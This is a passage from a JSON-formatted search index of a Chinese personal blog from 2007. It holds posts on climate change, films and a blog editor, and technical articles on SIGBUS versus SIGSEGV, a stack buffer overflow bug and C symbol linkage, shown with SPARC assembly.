href=\"http://tonybai.com/2007/11/17/film-assembly-is-comming/\"\u003e集结号\u003c/a\u003e\u0026rsquo;+ 片后大餐。\u003c/p\u003e","title":"集结一起看'集结号'"},{"content":"昨晚大致看了两集由Discovery制作的一部电视片-\u0026ldquo;未来狂想曲\u0026rdquo;，在片中科学家为我们展示了500万年后地球上的景象，据片中描述片中科学家的想象和预测是有依据的，是建立在科学研究之上的。不出所料，在片中，我们已经看不到现在地球的主宰者-人类了。\n也许是因为看了这部片子的原因，昨晚做了一个\u0026rsquo;灾难片\u0026rsquo;似的梦-\u0026ldquo;在几十米高的洪水袭击着我们的家园的时候，我们逃亡的经历\u0026rdquo;，有些类似\u0026rsquo;后天\u0026rsquo;中洪水袭击纽约的情形。\n500万年对于人类来说是个漫长的时间段了。现代人类的文明史不过万年。那人类文明为什么不能繁衍到500万年以后呢？我认为还是人类自身在面对大自然时的脆弱和不堪一击，即使有现代科技的帮助和支撑。试想一下当现在的海平面涨高几十米米，当气温降到-50摄氏度，当广袤的大陆被厚厚的冰层所覆盖，不堪一击的人类文明也许会瞬间回退到低级时代，甚至瞬间消亡。\n也许地外文明也同我们一样遭遇着类似的情况，高级智慧的生物在发展到一定时期后，很难逃过环境变化对其的致命性打击，这也许就是文明始终不能到达顶峰以致于我们可以凭借先进技术在星球间搬家的原因，也许这也是地外文明到达不了地球的原因。\n地球气候变迁这个结果也许是一个必然的、必须被接受的事实情况，但是人类活动正在加快这个必然的进程，或者说人类自己正在加速人类文明的消逝，这不是耸人听闻。\n","permalink":"https://tonybai.com/2007/12/28/thoughts-after-watching-the-future-is-wild/","summary":"\u003cp\u003e昨晚大致看了两集由\u003ca href=\"http://www.discoverychannel.com.cn/_home/index.shtml\"\u003eDiscovery\u003c/a\u003e制作的一部电视片-\u0026ldquo;未来狂想曲\u0026rdquo;，在片中科学家为我们展示了500万年后地球上的景象，据片中描述片中科学家的想象和预测是有依据的，是建立在科学研究之上的。不出所料，在片中，我们已经看不到现在地球的主宰者-人类了。\u003c/p\u003e\n\u003cp\u003e也许是因为看了这部片子的原因，昨晚做了一个\u0026rsquo;灾难片\u0026rsquo;似的梦-\u0026ldquo;在几十米高的洪水袭击着我们的家园的时候，我们逃亡的经历\u0026rdquo;，有些类似\u0026rsquo;后天\u0026rsquo;中洪水袭击纽约的情形。\u003c/p\u003e","title":"'未来狂想曲'后的狂想"},{"content":"午间休息时在新浪网看到贴出的英国野生生物摄影奖的一幅作品，很是震撼。这里转发一下，并临时改了名字：\u0026ldquo;北极之王\u0026quot;的无奈。\n作品的原名叫：极地冰融(Polar meltdown) 拍摄者是：阿恩·纳维拉\n这幅作品很显然是呼吁全世界人们一起行动起来保护我们赖以生存的家园 – 地球。不知道大家看了这幅作品后是一种什么样的感受？\n","permalink":"https://tonybai.com/2007/12/19/the-helpless-of-polar-bear/","summary":"\u003cp\u003e午间休息时在新浪网看到贴出的英国野生生物摄影奖的一幅作品，很是震撼。这里转发一下，并临时改了名字：\u0026ldquo;北极之王\u0026quot;的无奈。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://bigwhite.blogbus.com/files/11980393260.jpg\"\u003e\u003c/p\u003e","title":"'北极圈之王'的无奈"},{"content":"SIGBUS和SIGSEGV也许是我们在平时遇到的次数最多的两个内存错误信号。内存问题一直是最令我们头疼的事情，弄清楚两个信号的发生缘由对我们很好的理解程序的运行是大有裨益的。\n我们来看两段程序：\n//testsigsegv.c\nint main() {\nchar *pc = (char*)0×00001111;\n*pc = 17;\n}\n//testsigbus.c\nint main() {\nint *pi = (int*)0×00001111;\n*pi = 17;\n}\n上面的代码那么的相似，我们也同样用gcc编译(加上-g选项，便于gdb调试；平台Solaris Sparc)，执行结果也都是dump core。但通过GDB对core进行观察，你会发现细微的不同。第一个例子出的core原因是：Program terminated with signal 11, Segmentation fault. 而第二个例子的core则提示：Program terminated with signal 10, Bus error. 两者有什么不同呢？这两段代码的共同点都是将一个非法地址赋值给指针变量，然后试图写数据到这个地址。\n如果要说清楚这个问题，我们就要结合汇编码和一些计算机的体系结构的知识来共同分析了。\n先来看testsigsegv.c的汇编码：\n… …\nmain:\n!#PROLOGUE# 0\nsave %sp, -120, %sp\n!#PROLOGUE# 1\nsethi %hi(4096), %i0\nor %i0, 273, %i0\nst %i0, [%fp-20]\nld [%fp-20], %i1\nmov 17, %i0\nstb %i0, [%i1]\nnop\nret\nrestore\n… …\n我们关注的是这句：stb %i0, [%i1]\n从计算机底层的执行角度来说，过程是如何的呢？%i0寄存器里存储的是立即数17，我们要将之存储到寄存器%i1的值指向的内存地址。这一过程对于CPU来说其指挥执行的正常过程是：将寄存器%i0中的值送上数据总线，将寄存器%i1的值送到地址总线，然后使能控制总线上的写信号完成这一向内存写1 byte数据的过程。\n我们再看testsigbus.c的汇编码：\n… …\nmain:\n!#PROLOGUE# 0\nsave %sp, -120, %sp\n!#PROLOGUE# 1\nsethi %hi(4096), %i0\nor %i0, 273, %i0\nst %i0, [%fp-20]\nld [%fp-20], %i1\nmov 17, %i0\nst %i0, [%i1]\nnop\nret\nrestore\n… …\n同样最后一句：st %i0, [%i1]，CPU执行的过程与testsigsegv.c中的一致(只是要存储数据长度是4字节)，那为什么产生错误的原因不同呢？一个是SIGSEGV，而另一个是SIGBUS。这里涉及到的就是对内存地址的校验的问题了，包括对内存地址是否对齐的校验以及该内存地址是否合法的校验。\n我们假设如果首先进行的内存地址是否合法的校验(是否归属于用户进程的地址空间)，那么我们回顾一下，这两个程序中的地址0×00001111显然都不合法，按照这种流程，两个程序都应该是SIGSEGV导致的core才对，但是事实并非如此。那难道是先校验内存地址的对齐？我们再看这种思路是否合理？\ntestsigsegv.c中，0×00001111这个地址值被赋给了char *pc；也就是告诉CPU通过这个地址我们要存取一个字节的值，对于一个字节长度的数据，无所谓对齐，所以该地址通过对齐校验；并被放到地址总线上了。而在testsigbus.c里，0×00001111这个地址值被赋给了int *pi；也就是告诉CPU通过这个地址我们要存取一个起码4个字节的值，那么对于长度4个字节的对象，其存放地址起码要被4整除才可以，而0×00001111这个值显然不能满足要求，也就不能通过内存对齐的校验。也就是说SIGBUS这个信号在地址被放到地址总线之后被检查出来的不符合对齐的错误；而SIGSEGV则是在地址已经放到地址总线上后，由后续流程中的某个设施检查出来的内存违法访问错误。\n一般我们平时遇到SIGBUS时总是因为地址未对齐导致的，而SIGSEGV则是由于内存地址不合法造成的。\n","permalink":"https://tonybai.com/2007/12/19/also-talk-about-sigbus-and-sigsegv/","summary":"\u003cp\u003eSIGBUS和SIGSEGV也许是我们在平时遇到的次数最多的两个\u003ca href=\"http://tonybai.com/2005/08/09/also-talk-about-memory-alignment/\"\u003e内存错误\u003c/a\u003e信号。内存问题一直是最令我们头疼的事情，弄清楚两个信号的发生缘由对我们很好的理解程序的运行是大有裨益的。\u003c/p\u003e\n\u003cp\u003e我们来看两段程序：\u003cbr\u003e\n//testsigsegv.c\u003cbr\u003e\nint main() {\u003cbr\u003e\n        char *pc = (char*)0×00001111;\u003cbr\u003e\n        *pc = 17;\u003cbr\u003e\n}\u003c/p\u003e","title":"也谈’SIGBUS和SIGSEGV’"},{"content":"这个Bug源于昨天凌晨的一次版本升级失败。睡了一大觉后，下午回到公司，重现了这个问题并找到了原因，发现这的确是一个\u0026rsquo;很有意思的Bug\u0026rsquo;。\n系统在从数据库初始化过程中遇到了问题：在读取数据库数据时，提示ORA-24373错误。手册上对ORA-24373的解释是这样的：\nORA-24373: invalid length specified for statement\nCause: The length specified for the statement is either 0 or too large.\nAction: Specify a valid length for the statement.\n从错误的提示来看，不应该是数据的问题，但是出于对自己程序的信任，还是首先比对了数据，结果证明了数据是无误的；\n看来一定是代码的问题了。首先定位到了返回错误的那个接口OCIStmtPrepare(原型: sword OCIStmtPrepare(OCIStmt *stmtp, OCIError *errhp, OraText *stmt, ub4 stmt_len, ub4 language, ub4 mode))，可是怎么看这块也不该出问题。但从ORA-24373的Cause来看，似乎是传\n给OCIStmtPrepare的值不太对劲儿。\n我们从数据库读取数据的一般流程：\n1、获取符合某一特定条件的某一类数据的条数count；\n2、读取count条数据From DB。\n为了达到上面的两个目的，我们执行了两次sql操作，分别由两个语句完成，这里不妨成为sql1和sql2。sql1和sql2的内容是在代码里形成的。\n其分为两部分：select的字段list和where条件部分；由于where条件部分是动态的，所以每次sql操作之前都是需要先生成sql1和sql2的。\n保守的我们认为sql语句的长度是有限的，在我们的代码里我们用了一个宏XX_SQL_MAX_LEN来定义了一条语句内容的最长值，而XX_SQL_MAX_LEN\n在我们的系统中被赋予512这个整数值。这样我们很容易得到如下的定义：\nchar sql1[XX_SQL_MAX_LEN]; //遗憾的是结尾\u0026rsquo;\u0026lsquo;也被我们算进了XX_SQL_MAX_LEN中了。\nchar sql2[XX_SQL_MAX_LEN];\n一般sql语句的前端的select字段list是固定的，其长度也就是固定的；但是后面的where语句中的条件则是由参数指定。在我们的系统里这个条件很简单，就只有一个索引值(index)。\n让我们意想不到的是在我们要读取的那个数据表的操作语句中，select字段list的长度就超出我们预想，达到了508个字节，要知道目前我们还不知道这一事实。我们按照一般数据库操作流程：先读count，再读数据。结果呢？我们读出了若干条数据，然后就在某一条数据上出现了上述错误。这个数据没有什么特殊的，除了其index的值的位数变成了四位之外。\n警觉的我们发现：系统在读取index是三位整数的记录时都是没有问题的，偏偏到index是四位整数时才会有问题，而问题偏偏又出在执行sql1上。直觉告诉我们又是内存问题。\n分析如下：\nsql1和sql2在栈上紧挨着，是否生成sql2的时候污染了sql1的数据呢？我们试图打印出sql1的值，结果发现printf的输出居然是空，这更坚定了内存遭受破坏的想法。遂掰手指头数sql2的长度，发现其长度居然恰好512字节。我们拿一个栈图来说明问题：\n栈图\n正如上图中所示：sql2的数据多的沿着数据的延伸方向一直越过了边界来到了sql1的境地，在sql1第一个字节上留下一个\u0026rsquo;\u0026lsquo;就结束了。这就是为什么sql1打印为空的原因。同样由于传给OCIStmtPrepare的参数stmt_len的值为strlen(sql1)，导致stmt_len变为0，也就恰好与ORA-24373这个错误码的说明一致了。这简直太巧了，太不可思议了。不多不少恰好512。\n程序员的想当然造就了这一切，就好比千年虫一样，给你我带来麻烦。\n","permalink":"https://tonybai.com/2007/12/18/an-funny-bug/","summary":"\u003cp\u003e这个Bug源于昨天凌晨的一次版本升级失败。睡了一大觉后，下午回到公司，重现了这个问题并找到了原因，发现这的确是一个\u0026rsquo;很有意思的Bug\u0026rsquo;。\u003c/p\u003e","title":"一个很有意思的Bug"},{"content":"昨晚看了央视二套的一则晚间新闻，说的是由于全球变暖、海平面上升，曼谷靠海一侧的很多原先是居民们赖以生存的环境都被汹涌的海水所淹没了，而且据专家预测：按照如此速度发展，20年后泰国首都曼谷将成为水下城市。\n不知道最近大家是否发现：各大媒体对\u0026rsquo;全球变暖\u0026rsquo;这个字样提及甚多，\u0026lsquo;全球变暖\u0026rsquo;已经不再是专家们研究的术语了，它已经直接开始影响到我们普通人的生活了。目前世界各国的经济、政治、生活也越来越多与\u0026rsquo;全球变暖\u0026rsquo;牵扯到了一起。很多国家开始修改战略，以适应\u0026rsquo;全球变暖\u0026rsquo;带来的一系列影响，譬如澳大利亚新总理陆克文一上任就签署了京都议定书。\n除了从媒体上看到的新闻、消息之外，我们切身最直接能感受到的就是灾害性天气频发，干旱、洪涝、鼠害、频发的台风等等。今年年初辽宁的灾害性雨雪也或多或少与气候的变化有着联系。放眼全球：南极深层冰川融化、北冰洋冰川融化、西伯利亚永久冻土层开融、北极爱斯基摩人频频葬身冰下，大自然已经向人类发出了明显的警告信号了。如果人类再放纵下去，电影\u0026quot;后天\u0026quot;中的场景就真的离我们真实的生活不远了。\n说这些绝非为了宣传\u0026quot;世界末日论\u0026quot;，作为地球人类的普通一员，我们应该思考：我们能为减缓\u0026rsquo;全球变暖\u0026rsquo;做些什么呢？我能想到的也只有自觉多做公交车，减少私家车的使用，买节能产品了。减缓\u0026rsquo;全球变暖\u0026rsquo;，保护我们赖以生存的环境是全人类共同面对的任务，作为世界大家庭的基本单元-国家，应该给予自己的国民以指导，这种指导不应该是空泛的口号，而应该是具体的措施。目前我们国家在这方面的确做得不好。各地都是在形式上做做而已，没有具体的措施。更没有投入人力来做这件事情，最本质的就是没有在思想上给予足够的重视。\n虽然国家大力倡导环保、节能减排，但我们不得不承认中国人在环境治理、节能减排方面的滞后和措施不力。譬如我们习以为常的\u0026quot;减少白色污染\u0026quot;的口号都喊了N年了，而我们在沃尔玛、家乐福等大超市买东西之后看到的不还是白花花的塑料袋吗？为什么纸袋或布袋不能推广呢？相关部门是否真正的关心这些看起来很细致的事情呢？也许这些事情与政绩没有太大关系才是部分政府官员对之漠视的真正原因。关于如何保护环境的具体行为这点，也许我们的近邻日本值得我们学习。今年央视的\u0026quot;岩松看日本\u0026quot;中有一期节目说的就是日本一个小镇采用的环保措施，建议大家看看人家是如何做的。另外央视新闻频道的康辉到诺基亚的总部芬兰采访时看到的芬兰人的环保意识和方法也是值得我们学习的。\n让国民都有一种危机感，这不是一件见不得人的事情。中国的地大物博，资源丰富早已经一去不复返了，相反的污染严重，保护不力才是现在我们老百姓普遍看到的现象。环保、节能、减排，我们完全就可以从大城市做起(大多数人的看法：大城市的人相对受教育程度高，接受新事物、新方法的能力较强)，把环保节能减排工作细至每一个社区、细至每一个家庭、细至每一个家庭成员，细至每一个购物袋、细至每一个垃圾袋，细至每一度电、细至每一滴水。\n","permalink":"https://tonybai.com/2007/12/12/thought-on-disappearing-bangkok/","summary":"\u003cp\u003e昨晚看了央视二套的一则晚间新闻，说的是由于全球变暖、海平面上升，曼谷靠海一侧的很多原先是居民们赖以生存的环境都被汹涌的海水所淹没了，而且据专家预测：按照如此速度发展，20年后\u003ca href=\"http://news.xinhuanet.com/world/2007-05/16/content_6105397.htm\"\u003e泰国首都曼谷将成为水下城市\u003c/a\u003e。\u003c/p\u003e","title":"从'即将消失的曼谷'说起"},{"content":"上周末提交了一篇\u0026quot;符号连接那些事儿\u0026quot;，但是从前台访问该文章后，发现文章里的代码缩进都被删除了，导致文章布局甚是难看。回到后台的文档编辑器，手工敲入空格或TAB，提交后发现空格和TAB 仍然被过滤，今天和Blogbus客服沟通了一番，得知Blogbus在线编辑器对文章内容作了一次整体过滤和格式统一，这样就导致代码缩进被过滤了。寒!\n不过据客服说，如果文章第一次提交后未编辑修改，缩进还是可以保留的，所以以后再提交带有代码的文章，就要做好不修改的准备了，否则没有缩进的代码显示起来真的是很难看。\n目前我尚未发现解决方法，即使用行号占位也无法支持缩进。\n感谢客服已经将这个问题提交了，希望bus能尽早给出一个解决方案。比如在在线编辑器上提供一个插件，专门用来书写代码的，那样就好了。\n下面的是测试第一次提交可以保留缩进：\nint main() {\nchar *str = \u0026ldquo;hello blogbus!\\n\u0026rdquo;;\nprintf(\u0026quot;%s\\n\u0026quot;, str);\n}\n","permalink":"https://tonybai.com/2007/12/10/the-editor-of-blogbus-do-not-support-indent/","summary":"\u003cp\u003e上周末提交了一篇\u0026quot;\u003ca href=\"http://tonybai.com/2007/12/08/those-things-about-symbol-linkage/\"\u003e符号连接那些事儿\u003c/a\u003e\u0026quot;，但是从前台访问该文章后，发现文章里的代码缩进都被删除了，导致文章布局甚是难看。回到后台的文档编辑器，手工敲入空格或TAB，提交后发现空格和TAB 仍然被过滤，今天和\u003ca href=\"http://bigwhite.blogbus.com/\"\u003eBlogbus\u003c/a\u003e客服沟通了一番，得知Blogbus在线编辑器对文章内容作了一次整体过滤和格式统一，这样就导致代码缩进被过滤了。寒!\u003c/p\u003e\n\u003cp\u003e不过据客服说，如果文章第一次提交后未编辑修改，缩进还是可以保留的，所以以后再提交带有代码的文章，就要做好不修改的准备了，否则没有缩进的代码显示起来真的是很难看。\u003c/p\u003e","title":"Blogbus在线编辑器不支持代码缩进了"},{"content":"习惯了边看吃饭边看电影，今晚央视电影频道上映一部今年年初推出的电影\u0026quot;追爱总动员\u0026quot;。一般来说：好看的让我感到心情放松快乐的电影总会使我情不自禁的站立起来，然后随着电影的进行，不自觉的像个孩子似的手舞足蹈，甚至高声哼唱电影中美妙的主题曲。之后就是有感而发的写下这篇Blog，没有别的目的，就是想把这部能让你保持90分钟轻松和快乐的电影推荐给大家。\n\u0026ldquo;追爱总动员\u0026ldquo;这部电影是高亚麟指导的第一部电影，高亚麟就是在\u0026quot;家有儿女\u0026quot;中饰演爸爸角色的那位，\u0026ldquo;家有儿女\u0026quot;中他是一位编剧，在现实中他同样也从事着类似的工作。\n总体来说，这部电影给我三点深刻感受：\n1、轻松快乐的剧情\n武林外传、炊事班的故事的原班人马加盟，每个人都是那么熟悉，都会给你带来不同风格的快乐。片中提到过几部经典搞笑影片的名字，我想应该算不上’恶搞’，只是一个手法罢了。女主角时玮(饰演剧中静怡)给我的印象很好，是那种不张扬，淡雅、静谧的感觉。时玮之前并不是演员，而是该部剧的编剧，很多评论说女主角时玮演技差强人意，与其他多位女配角相比，无论是外表还是演技都不如，但是我觉得高导才是真正理解这部剧真正风格的人，选择时玮没错，我喜欢。\n2、恰到好处的音乐配置\n也许本片中的音乐不是知名作曲、作词家所完成的，但绝对是配置恰到好处的。就在剧情发展到那个地方的时候，一股沁人心肺的音乐恰好响起，这种音乐会带动你的情绪，让你融入剧情，从而和我一样变得情不自禁^_^。片中的主题曲\u0026rdquo;爱的约定\u0026ldquo;也是那么的好听，演唱者是一位叫\u0026quot;程翔\u0026quot;的歌手，以前真的没有听过这个人，不过他的这首歌演绎的蛮好的。\n3、美丽而理想化的爱情\n我们都曾年轻过，都曾有那么一段崇尚理想化爱情的阶段，相信这部片子会勾起很多人心灵深处的回忆。在现代虚华浮躁的社会里，他就好比一针镇定剂，让我有机会去回味我们曾经有过的那种感觉。\n有时间或者累了或者不开心了，那就看看这部电影吧。\n附: 电影追爱总动员主题曲《爱的约定》\n歌手：程翔 曲：那日森 词：槐逸群\n相逢是雨\n淋湿这场游戏\n那一分钟让爱孤独\n飘在风里\n喧嚣散了\n守着寂静\n心躲在夜里\n等爱降临\n绚烂的爱情\n能不能给梦一个回忆\n就算注定了我们今生\n不能再次的 相遇\n就算爱只能在梦中 停留\n我会在这里等你\n睁开双眼\n爱不会再遥远\n心在呼唤 你的出现\n可曾听见\n爱不需要 任何理由\n说不出真爱 感动世界\n才让我们牵手\n许下的你我\n爱的约定\n","permalink":"https://tonybai.com/2007/12/09/film-falling-in-love/","summary":"\u003cp\u003e习惯了边看吃饭边看电影，今晚央视电影频道上映一部今年年初推出的电影\u0026quot;\u003ca href=\"http://ent.sina.com.cn/f/m/zazdy/index.shtml\"\u003e追爱总动员\u003c/a\u003e\u0026quot;。一般来说：好看的让我感到心情放松快乐的电影总会使我情不自禁的站立起来，然后随着电影的进行，不自觉的像个孩子似的手舞足蹈，甚至高声哼唱电影中美妙的主题曲。之后就是有感而发的写下这篇Blog，没有别的目的，就是想把这部能让你保持90分钟轻松和快乐的电影推荐给大家。\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;\u003ca href=\"http://blog.sina.com.cn/zhuiai\"\u003e追爱总动员\u003c/a\u003e\u0026ldquo;这部电影是高亚麟指导的第一部电影，高亚麟就是在\u0026quot;家有儿女\u0026quot;中饰演爸爸角色的那位，\u0026ldquo;家有儿女\u0026quot;中他是一位编剧，在现实中他同样也从事着类似的工作。\u003c/p\u003e\n\u003cp\u003e总体来说，这部电影给我三点深刻感受：\u003cbr\u003e\n1、轻松快乐的剧情\u003cbr\u003e\n武林外传、炊事班的故事的原班人马加盟，每个人都是那么熟悉，都会给你带来不同风格的快乐。片中提到过几部经典搞笑影片的名字，我想应该算不上’恶搞’，只是一个手法罢了。女主角时玮(饰演剧中静怡)给我的印象很好，是那种不张扬，淡雅、静谧的感觉。时玮之前并不是演员，而是该部剧的编剧，很多评论说女主角时玮演技差强人意，与其他多位女配角相比，无论是外表还是演技都不如，但是我觉得高导才是真正理解这部剧真正风格的人，选择时玮没错，我喜欢。\u003c/p\u003e","title":"'追爱总动员'-一部让你90分钟保持轻松快乐的电影"},{"content":"我们在编译自己开发的程序或者一些开源软件的时候，常常遇到类似如下的编译器错误信息：\n未定义 文件中的\n符号 在文件中\ni /var/tmp//ccU4sj6I.o\nfunc /var/tmp//ccU4sj6I.o\nld: 致命的: 符号参照错误. 没有输出被写入a.out\ncollect2: ld returned 1 exit status\n或\u0026quot;undefined reference to \u0026lsquo;i\u0026rsquo; or undefined reference to \u0026lsquo;func\u0026rsquo;\u0026quot;\n或\u0026quot;error LNK2001: unresolved external symbol _func\u0026quot; (Visual C++编译器输出)\n通过加入-v编译选项(GCC的编译选项)，我们可以清晰的看到错误输出并非出自编译阶段(生成.o或.obj目标文件)，而是产生于连接阶段，即将.o文件转换成最的可执行文件阶段。\nGCC错误信息中用的是undefined reference，而VC用的则是unsesolved external symbol。感觉用\u0026quot;unresolved external symbol\u0026quot;更容易理解一些。连接阶段的symbol到底所指什么呢？我们看下面这段代码：\n/* testsymbollink.c */\nextern int myvar;\nextern void myfunc(int a, int b);\nint main() {\nmyvar = 7;\nmyfunc(100, 200);\nreturn 0;\n}\n我们通过gcc -S输出其汇编码：\n/* testsymblolink.s */\n.file \u0026ldquo;testsymbollink.c\u0026rdquo;\n.section \u0026ldquo;.text\u0026rdquo;\n.align 4\n.global main\n.type main,#function\n.proc 04\nmain:\n!#PROLOGUE# 0\nsave %sp, -112, %sp\n!#PROLOGUE# 1\nsethi %hi(myvar), %o0\nor %o0, %lo(myvar), %o1\nmov 7, %o0\nst %o0, [%o1]\nmov 100, %o0\nmov 200, %o1\ncall myfunc, 0\nnop\nmov 0, %o0\nmov %o0, %i0\nnop\nret\nrestore\n.LLfe1:\n.size main,.LLfe1-main\n.ident \u0026ldquo;GCC: (GNU) 3.2\u0026rdquo;\n对于上述汇编码，我们一般理解是包含三个部分：\n描述型信息：如：.file、.section、.align、.type等，这些信息用于直到连接器正确的连接代码而使用的。 汇编指令：如mov、st等。 一些待resolve的符号：如main、myvar和myfunc。 连接器负责将.o目标代码进行处理并生成可执行文件。在连接器处理时，描述型信息告知连接器.o中的指令和数据的应该存放的位置属性信息；汇编指令则直接转成机器码；只有那些待resolve的符号需要连接器做慎重处理：main是默认的入口函数的符号，连接器默认会认识，其余的符号连接器就要在其输入的.o文件中或者指定连接的库(.a)中寻找符号的定义了，就如上面的main。如果是数据，则需要获取其位置和大小，如果是函数，则要获取其具体的实现了。\n我们再举一个例子来对比一下：\nint myvar = 0;\nvoid myfunc(int a, int b) {\n;\n}\nint main() {\nmyvar = 7;\nmyfunc(100, 200);\n}\n转换成汇编码为：\n.file \u0026ldquo;testsymbollink1.c\u0026rdquo;\n.global myvar\n.section \u0026ldquo;.data\u0026rdquo;\n.align 4\n.type myvar,#object\n.size myvar,4\nmyvar:\n.long 0\n.section \u0026ldquo;.text\u0026rdquo;\n.align 4\n.global myfunc\n.type myfunc,#function\n.proc 020\nmyfunc:\n!#PROLOGUE# 0\nsave %sp, -112, %sp\n!#PROLOGUE# 1\nst %i0, [%fp+68]\nst %i1, [%fp+72]\nnop\nret\nrestore\n.LLfe1:\n.size myfunc,.LLfe1-myfunc\n.align 4\n.global main\n.type main,#function\n.proc 04\nmain:\n!#PROLOGUE# 0\nsave %sp, -112, %sp\n!#PROLOGUE# 1\nsethi %hi(myvar), %o0\nor %o0, %lo(myvar), %o1\nmov 7, %o0\nst %o0, [%o1]\nmov 100, %o0\nmov 200, %o1\ncall myfunc, 0\nnop\nmov %o0, %i0\nnop\nret\nrestore\n.LLfe2:\n.size main,.LLfe2-main\n.ident \u0026ldquo;GCC: (GNU) 3.2\u0026rdquo;\n从上述汇编码我们可以看到，myvar和myfunc都给出定义，这样连接器工作的时候就不会因找不到这两个符号而报错了。符号的定义既可以在同一个.o中，也可以在不同的.o中，这样便于软件分层次、分模块开发。\n对比上面两个example中myvar和myfunc的书写方式：\nextern int myvar;\nextern void myfunc(int a, int b);\n和\nint myvar = 0;\nvoid myfunc(int a, int b) { … }\n可以看出，变量和函数的声明和定义的方式直接会影响到其连接的属性。\n那么在C语言中，声明和定义又有哪些事呢？我们下面道来^_^\n在\u0026quot;C语言参考手册\u0026ldquo;的第四章作者给了\u0026rsquo;声明\u0026rsquo;一个诠释：\u0026ldquo;声明一个名称就是把一个标识符与某个C语言对象相关联\u0026rdquo;，这句很是给人以启发。名称、标识符是什么呢？就是一个符号；C语言对象呢？对于数据对象来说，就是一块存储块；对于函数对象来说，就是函数的定义，当然这个定义也是要存储在TEXT SECTION的。真正将标识符和C语言对象相关联的工作是在连接阶段完成的。我们的C源代码需要给连接器足够的信息，以保证其正确无误的将每个标识符(符号)与对应的存储相关联。C语言中的声明恰恰给予连接器以有效帮助。\nC语言提供了extern和static存储说明符来对应两种连接属性：外部连接(External linkage)和内部连接(Internal linkage)。在源程序顶层的声明中，内部与外部的连接属性区别在于该符号是否为多个翻译单元(translate unit)的所共享。顶层static修饰的符号只能在其所在翻译单元中寻找C语言对象；而顶层extern修饰的符号既可以在其所在的翻译单元寻找C语言对象，也可以在其他翻译单元中寻找。\n//foo.c\nextern int i;\nstatic int j;\nextern void e_func(int a);\nstatic void s_func(void);\nint main() {\ne_func(1);\ns_func();\ni = 17;\nj = 16;\n}\n对于变量i而言，连接程序必须在其他翻译单元中查找其相关联的对象；如果找不到，则报错；\n对于变量j而言，连接程序在其所在翻译单元中寻找相关联的对象，与i不同的是，如果找不到，这个声明就会被转化为定义；这个对象的初值被置为0；\n对于函数e_func而言，连接程序必须在其他翻译单元中查找其相关联的对象；如果找不到，则报错；\n对于函数e_func而言，连接程序必须在其所在翻译单元中查找其相关联的对象；如果找不到，则报错。\n我们在一些程序中经常看到在顶层声明的变量，既没有extern修饰，也没有static修饰，又不像变量定义那样给出初值，那么这样的变量是如何被对待的呢？我们看例子：\n/* testsymbollink2.c */\nint myvar;\nint g_var = 13;\nstatic int l_var = 19;\nint main() {\nmyvar = 7;\n}\n翻译成汇编代码后：\n.file \u0026ldquo;testsymbollink2.c\u0026rdquo;\n.global g_var\n.section \u0026ldquo;.data\u0026rdquo;\n.align 4\n.type g_var,#object\n.size g_var,4\ng_var:\n.long 13\n.align 4\n.type l_var,#object\n.size l_var,4\nl_var:\n.long 19\n.section \u0026ldquo;.text\u0026rdquo;\n.align 4\n.global main\n.type main,#function\n.proc 04\nmain:\n!#PROLOGUE# 0\nsave %sp, -112, %sp\n!#PROLOGUE# 1\nsethi %hi(myvar), %i0\nor %i0, %lo(myvar), %i1\nmov 7, %i0\nst %i0, [%i1]\nnop\nret\nrestore\n.LLfe1:\n.size main,.LLfe1-main\n.common myvar,4,4\n.ident \u0026ldquo;GCC: (GNU) 3.2\u0026rdquo;\n可以看出来，myvar与g_var、l_var的不同，myvar并未有具体定义信息，而是用.common这个描述信息进行了描述。在C89中这个叫做：tentative definition，也就是\u0026quot;暂时定义\u0026rdquo;。对于这样的变量，如果连接时发现其他翻译单元中没有同名定义，则系统会给该变量\u0026quot;转正\u0026quot;，分配空间；如果在其他翻译单元中有同名定义，则该符号就会关联到那个定义上去。\n//1.c\nint i;\nint main() {\nprintf(\u0026quot;%d\\n\u0026quot;, i);\n}\n//2.c\nint i = 198;\n则gcc 1.c 2.c后执行a.out的结果是输出198。1.c中的i已经关联到了2.c中的i了。如果只gcc 1.c，则输出为0，系统默认给i分配空间并初始化为0。\n使用外部连接的变量声明是有风险的，因为编译器很难在多个翻译单元之间做一致性检查。比如：\n//3.c\nextern int *a;\nint main() {\n(*a) = 5;\n}\n//4.c\nchar a = \u0026lsquo;c\u0026rsquo;;\n我们gcc 3.c 4.c进行编译并执行a.out，在sparc solaris上会出现\u0026quot;段错误 (（主存储器）信息转储)\u0026ldquo;的错误。为什么呢？我们还要回到\u0026rsquo;符号\u0026rsquo;上来，从汇编码分析：\n.file \u0026ldquo;3.c\u0026rdquo;\n.section \u0026ldquo;.text\u0026rdquo;\n.align 4\n.global main\n.type main,#function\n.proc 04\nmain:\n!#PROLOGUE# 0\nsave %sp, -112, %sp\n!#PROLOGUE# 1\nsethi %hi(a), %i0\nor %i0, %lo(a), %i0\nld [%i0], %i1\nmov 6, %i0\nst %i0, [%i1]\nnop\nret\nrestore\n.LLfe1:\n.size main,.LLfe1-main\n.ident \u0026ldquo;GCC: (GNU) 3.2\u0026rdquo;\n和\n.file \u0026ldquo;4.c\u0026rdquo;\n.global a\n.section \u0026ldquo;.data\u0026rdquo;\n.type a,#object\n.size a,1\na:\n.byte 99\n.ident \u0026ldquo;GCC: (GNU) 3.2\u0026rdquo;\n再重申：两个翻译单元中的a是通过符号形式联系在一起的。3.c中的符号a关联到了4.c中的a，而4.c中的a是一个char类型的变量，这点3.c并不知情，仍将它当作int*用，尝试将a的内容作为地址，去操作这个地址；由于a中的值是99，显然这不是一个应用层合法的地址，出core也就是必然的了。\n同样对于函数也是如此，函数不过是一段指令集合，标识这个指令集合的也是\u0026rsquo;符号\u0026rsquo;，不同翻译单元间也是靠符号关联在一起的。\n//5.c\nextern void func();\nint main() {\nfunc();\n}\n//6.c\nvoid func(int a, int b) {\nprintf(\u0026quot;%d\\n\u0026rdquo;, a + b);\n}\n我们通过gcc 5.c 6.c编译后，执行a.out，得到-13236124(不同环境得到的值不一样)，这显然乱了套，func的调用者并没有给func传入参数，但是func并不知情，还是一味的通过%ebp在栈上定位两个参数后，将其相加输出，显然这两个值是随机的值，结果也是随机的。编译器显然对于检查func是否被正确调用显得束手无策。编译器唯一能做的就是在同一个翻译单元内部检查函数调用是否符合extern声明，所以要尽量使用原型声明，以保证在同一个翻译单元内函数调用的正确。\n//7.c\nextern void func(int a, char *p);\nint main() {\nfunc(5, 10); //warning: passing arg 2 of `func\u0026rsquo; makes pointer from integer without a 